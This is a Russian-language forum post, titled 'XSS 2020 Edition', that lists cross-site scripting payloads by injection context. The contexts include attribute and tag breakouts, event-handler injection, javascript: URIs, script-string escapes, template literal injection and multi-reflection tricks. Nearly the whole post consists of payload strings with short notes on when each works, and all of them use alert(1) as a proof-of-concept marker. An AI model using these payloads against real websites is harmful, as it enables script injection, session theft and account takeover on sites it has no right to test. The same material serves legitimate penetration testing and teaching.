Что нового

Article XSS 2020 Edition

Vander 0

Vander

Команда форума
10.11.2019
491
1 128
1591702403405.png

HTML Injection
Используется, когда ввод попадает в значение атрибута тега HTML или внешнего тега, кроме тех, которые описаны в следующем случае. Добавьте «->» к полезной нагрузке, если ввод попадает в комментарии HTML.

Код:
<svg onload=alert(1)>
"><svg onload=alert(1)>
HTML Injection – Tag Block Breakout
Используйте, когда ввод попадает внутрь или между открытием / закрытием следующих тегов:

Код:
<title><style><script><textarea><noscript><pre><xmp> and <iframe> (</tag> соответственно).
</tag><svg onload=alert(1)>
"></tag><svg onload=alert(1)>
HTML Injection - Inline
Используется, когда ввод попадает в значение атрибута тега HTML, но этот тег не может быть завершен знаком больше (>).

Код:
"onmouseover=alert(1) //
"autofocus onfocus=alert(1) //
HTML Injection - Source
Используется, когда ввод попадает в качестве значения следующих атрибутов HTML-тега: href, src, data или action (также formaction). Атрибутом src в тегах скрипта может быть URL или «data:, alert (1)».

Код:
javascript:alert(1)
Javascript Injection
Используется, когда ввод попадает в блок скрипта, внутри значения с разделителями строк.

Код:
'-alert(1)-'
'/alert(1)//
Javascript Injection - Escape Bypass
Используется, когда ввод попадает в блок скрипта, внутри значения с разделителями строк, но кавычки экранируются обратной косой чертой.

Код:
\'/alert(1)//
Javascript Injection – Script Breakout
Используется, когда ввод попадает куда-либо в пределах блока скрипта.

Код:
</script><svg onload=alert(1)>
Javascript Injection - Logical Block
Используйте 1-ю или 2-ю полезные нагрузки, когда ввод попадает в блок скрипта, внутри значения со строковым разделителем и внутри одного логического блока, такого как функция или условный (если, иначе, и т. Д.). Если в кавычке не указана обратная косая черта, используйте третью полезную нагрузку.

Код:
'}alert(1);{'
'}alert(1)%0A{'
\'}alert(1);{//
Javascript Injection - Quoteless
Используйте, когда в одной строке кода JS присутствует многократное отражение. Первая полезная нагрузка работает с простыми переменными JS, а вторая - с вложенными JS-объектами.

Код:
/alert(1)//\
/alert(1)}//\
Javascript Context - Placeholder Injection in Template Literal
Используется, когда ввод попадает в строки, разделенные обратными символами (``), или в шаблонизаторы.

Код:
${alert(1)}
Multi Reflection HTML Injection - Double Reflection (Single Input)
Используйте, чтобы использовать несколько отражений на одной странице.

Код:
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
Multi Reflection i HTML Injection - Triple Reflection (Single Input)
Используйте, чтобы использовать несколько отражений на одной странице.

Код:
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
Multi Input Reflections HTML Injection - Double & Triple
Используйте для использования нескольких входных отражений на одной странице. Также полезно в сценариях HPP (HTTP Parameter Pollution), где есть отражения для повторяющихся параметров. 3-я полезная нагрузка использует разделенные запятыми отражения одного и того же параметра.

Код:
p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/*&r=*/alert(1)'>
q=<script/&q=/src=data:&q=alert(1)>
Продолжение следует...
 
Последнее редактирование:
Верх Низ